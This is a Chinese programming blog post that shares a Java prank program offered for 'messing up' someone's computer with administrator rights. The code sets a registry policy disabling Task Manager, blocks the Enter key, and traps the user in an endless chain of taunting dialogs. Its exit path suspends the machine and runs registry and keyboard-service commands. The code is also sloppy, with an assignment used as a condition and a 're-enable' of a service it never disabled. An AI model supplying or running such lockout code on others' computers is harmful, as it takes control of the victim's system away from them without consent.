首页 > 编程语言 >小学生学编程

小学生学编程

时间:2025-01-21 18:58:08浏览次数:3  
标签:INFORMATION 烦死 编程 JOptionPane showMessageDialog MESSAGE null 小学生

       今天来一次霍霍电脑了啊,功能很强大,在点击是不能用回车,自动禁用任务管理器。记得以管理员程序运行哦!

import javax.swing.JOptionPane;
import java.awt.*;
import java.awt.event.AWTEventListener;
import java.awt.event.KeyEvent;
import java.io.IOException;

public class 我的惊喜 {
    //禁用用户的回车键
    public static void main(String[] args) {
        Toolkit.getDefaultToolkit().addAWTEventListener(new AWTEventListener() {
            @Override
            public void eventDispatched(AWTEvent event) {
                KeyEvent e = (KeyEvent) event;
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    e.consume();
                }
            }
        }, AWTEvent.KEY_EVENT_MASK);

        try {
            // 禁用任务管理器
            String disableTaskManagerCommand = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f";
            Process disableTaskManagerProcess = Runtime.getRuntime().exec(disableTaskManagerCommand);
            disableTaskManagerProcess.waitFor();

            boolean playAgain = true;

            JOptionPane.showMessageDialog(null, "你好呀,我准备了一个惊喜,快点确认吧!", "惊喜", JOptionPane.INFORMATION_MESSAGE);
            JOptionPane.showMessageDialog(null, "你竟然乖乖的点击了确认,你丸辣!", "噩梦的开始", JOptionPane.INFORMATION_MESSAGE);
            JOptionPane.showMessageDialog(null, "反正你也无法关闭了,点确定呀,略略略", "烦死你", JOptionPane.INFORMATION_MESSAGE);
            JOptionPane.showMessageDialog(null, "快点我吧!", "烦死你", JOptionPane.INFORMATION_MESSAGE);
            while (playAgain) {
                JOptionPane.showMessageDialog(null, "还剩60下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "59下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "58下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "57下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "56下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "55下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "54下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "53下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "52下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "51下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "50下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "49下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "48下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "47下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "46下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "45下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "44下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "43下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "42下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "41下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "40下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "39下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "38下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "37下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "36下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "35下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "34下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "33下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "32下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "31下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "加油加油,只剩下30下了", "小小的鼓励", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "29下", "继续烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "28下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "27下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "26下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "25下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "24下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "23下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "22下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "21下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "坚持就是胜利!只剩下20下了", "大大的鼓励", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "19下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "18下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "17下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "16下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "15下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "14下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "13下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "12下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "11下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "最后10下!", "大大大大大大的鼓励", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "最后9下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "8下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "7下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "6下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "5下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "4下", "加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "最后3下!", "加油加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "最后2下!!", "加油加油加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "最后1下!!!", "加油加油加油加油", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "结束了!..................吗?", "哈哈,你被耍了!!!", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "先别急着揍我,看在你点了那么多次的份上,我还是有奖励的", "别打我呀", JOptionPane.INFORMATION_MESSAGE);
                JOptionPane.showMessageDialog(null, "诺,点击确定按钮后会有是和否两个选择,是就退出啦!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);

                int option = JOptionPane.showConfirmDialog(null, "是否退出?", "询问一下", JOptionPane.YES_NO_OPTION);

                if (option == JOptionPane.YES_OPTION) {
                    try {
                        String command = "rundll32.exe powrprof.dll,SetSuspendState";
                        Process process = Runtime.getRuntime().exec(command);
                        process.waitFor();
                        if (playAgain =true) {
                            JOptionPane.showMessageDialog(null, "哈哈,你乖乖的点击了确认这是你应得的!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);
                            JOptionPane.showMessageDialog(null, "对不起了!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);
                        }
                        playAgain = false;
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                    // 重新启用任务管理器
                    String enableTaskManagerCommand = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 0 /f";
                    Process enableTaskManagerProcess = Runtime.getRuntime().exec(enableTaskManagerCommand);
                    enableTaskManagerProcess.waitFor();

                    // 重新启用键盘服务
                    String enableKeyboardServiceCommand = "sc config i8042prt start= demand";
                    Process enableKeyboardServiceProcess = Runtime.getRuntime().exec(enableKeyboardServiceCommand);
                    enableKeyboardServiceProcess.waitFor();

                } else if (option == JOptionPane.NO_OPTION) {
                    JOptionPane.showMessageDialog(null, "你竟然敢不听我的话", "非常生气", JOptionPane.INFORMATION_MESSAGE);
                    JOptionPane.showMessageDialog(null, "你这下彻底丸辣!", "非常非常生气", JOptionPane.INFORMATION_MESSAGE);
                } else if (option == JOptionPane.CLOSED_OPTION) {
                    JOptionPane.showMessageDialog(null, "你竟然敢不听我的话", "非常生气", JOptionPane.INFORMATION_MESSAGE);
                    JOptionPane.showMessageDialog(null, "你这下彻底丸辣!", "非常非常生气", JOptionPane.INFORMATION_MESSAGE);
                }
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

      只是睡眠电脑,不会有什么数据丢失的。放心使用吧!

标签:INFORMATION,烦死,编程,JOptionPane,showMessageDialog,MESSAGE,null,小学生
From: https://blog.csdn.net/chengxuyuan1410/article/details/145269266

相关文章

  • C语言的那点事第五篇:编程界的“外卖小哥”函数
    函数就像是编程界的“外卖小哥”,帮你把任务分解成小块,然后把结果送回来。别担心,我会用幽默的方式带你飞驰在这个奇妙的世界里。咱们开始吧!1.函数定义与调用外卖小哥的职责:想象一下,你每天都要做饭,但每次都从头开始,那得多累啊!函数就像是你的“外卖小哥”,帮你把任务分解成小......
  • 【网络编程】IO多路复用
    目录IO多路复用场景假设处理思想接口参考程序总结其它多路复用方案IO多路复用场景假设假设妈妈有三个孩子,分别不同的房间里睡觉,需要及时获知每个孩子是否醒了,如何做?不停进每个房间看一下:简单,空闲时间还能干点别的,但是很累告诉爸爸,让爸爸帮忙监听,妈妈可以干......
  • 【C++提高篇】—— C++泛型编程之模板基本语法和使用的详解
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、模板的概念二、函数模板2.1函数模板的使用2.2函数模板注意事项2.3普通函数与函数模板的区别2.4普通函数与函数模板的调用规则2.5模板的局限性三、类模板3.1类模板的使用3.2类模板......
  • TIA SCL编程清除字符串中所有的空格
    今天做一个小的练习,这是2025年第一个记录的学习笔记。在IA新建一个FC,名字叫做TrimSpace,建立以下内部变量: 写一段SCL代码:#len:=LEN(#str_in);#str_trim_out:='';FOR#i:=1TO#lenDOIFMID(IN:=#str_in,L:=1,P:=#i)<>''THEN#str_t......
  • 编程语言“鄙视链”背后的真相
    在编程世界里,各种编程语言的使用者之间似乎存在着一条无形的“鄙视链”。从古老神秘的C到灵动便捷的Python,从严谨规范的Java到天马行空的Ruby,从C++与Python的效率之争,到Java与JavaScript的应用场景差异,不同语言的拥趸似乎总在暗自较量。然而,这条所谓的“鄙视......
  • AI编程工具使用技巧——Cursor (思维导图-java架构)
    Cursor是一个AI辅助编程工具,它能够帮助开发者更快地编写代码、理解现有代码库以及解决编程中遇到的问题。当涉及到Java架构时,利用Cursor可以极大地提高开发效率和代码质量。以下是围绕着如何使用Cursor进行Java项目开发的思维导图建议框架:AI编程工具使用技巧-Cursor(Java......
  • 前端知识-编程语言
    编程语言ES6ECMAScript6/2015规范了脚本语言的设计,包括语法,数据类型,内置对象等,而JS则是遵循这套规范的编程语言之一TSTypeScript是JS的超集,核心特性是类型系统,TS的类型检查可以使许多常见错误暴露于编译阶段,从而减少运行时错误,极大地提升了代码的健壮性......
  • 你有在linux下编程过吗?有使用过mac系统吗?说下它和win系统的区别?
    关于Linux下编程我有在Linux环境下进行编程的经历。Linux系统以其稳定性、安全性和开源性受到技术人员的青睐。在前端开发方面,Linux提供了强大的工具链和开发环境,如编译器、调试器和版本控制工具,这些都有助于高效地进行Web前端开发。此外,Linux下的前端开发还可以利用诸如Prepros......
  • 记录STM32串口通信调试的若干问题(基于HAL库)(一)硬件选型和编程环境配置
    由于遇人不淑,项目经验坑爹(永远不要指望学校和导师),本电子类科班生硬是被整成了四不像工程师,不得不自学来找到对口的工作。本文记录STM32开发的历程,有一样的初学者可以参考借鉴。一.硬件设施1.STM32F103C8T6最小系统系统板采用stm32f103c8t6最小系统板,某宝某猫上一杯奶茶的钱......
  • 你所不知道的 C/C++ 宏知识——基于《C/C++ 宏编程的艺术》
    前言刚学C++的时候,就知道它糅合了四种编程模式:基于预处理器的宏、基于C语言的面向过程、基于类的面向对象、以及基于模板的泛型编程。其中,宏和模板元编程因为是在编译期出结果,能有效提升程序运行期性能,有着独特的价值。宏的缺陷之前了解的宏编程,大多数在数说它的缺陷,以及如......